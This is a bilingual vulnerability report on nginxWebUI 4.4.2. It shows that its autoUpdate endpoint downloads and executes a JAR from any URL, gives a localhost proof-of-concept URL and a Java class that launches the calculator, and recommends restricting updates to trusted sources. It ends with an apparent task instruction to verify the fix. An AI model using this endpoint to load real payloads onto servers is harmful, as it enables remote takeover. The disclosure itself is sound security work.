存在远程命令执行漏洞

nginxWebUI-4.4.2版本存在远程代码执行漏洞

验证地址： http://127.0.0.1:8090/adminPage/main/autoUpdate?url=http://127.0.0.1:9999/proof-calc.jar

ProofCalc.java

public class ProofCalc {
    public static void main(String[] args) {
        try {
            String cmd = "cmd /c start calc";
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

修复建议

关闭或限制任意 URL 下载与执行

• src/main/java/com/cym/controller/adminPage/MainController.java 中的 autoUpdate(String url) 不应直接接受任意外部 URL 并下载执行。
• 应改为只允许从受信任的升级源下载，例如：固定域名、固定路径、或内部更新服务器。最好不要暴露“任意 URL 下载 JAR”的接口。

nginxWebUI 4.4.2 is affected by a Remote Code Execution (RCE) vulnerability.

POC： http://127.0.0.1:8090/adminPage/main/autoUpdate?url=http://127.0.0.1:9999/proof-calc.jar

ProofCalc.java

public class ProofCalc {
    public static void main(String[] args) {
        try {
            String cmd = "cmd /c start calc";
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Solution：

Restrict or disable arbitrary URL download and execution

• The autoUpdate(String url) method in src/main/java/com/cym/controller/adminPage/MainController.java should not directly accept arbitrary external URLs for download and execution.
• Restrict downloads to trusted update sources only (e.g., fixed domains, fixed paths, or internal update servers). Avoid exposing interfaces that allow arbitrary URL JAR downloads.

Start by reading src/main/java/com/cym/controller/adminPage/MainController.java, especially autoUpdate(String url), and trace how the /adminPage/main/autoUpdate endpoint downloads and executes JAR files. Verify the endpoint no longer accepts arbitrary external URLs and that downloads are limited to the trusted update source described in the issue; exercise the endpoint with the supplied POC URL to confirm it is rejected.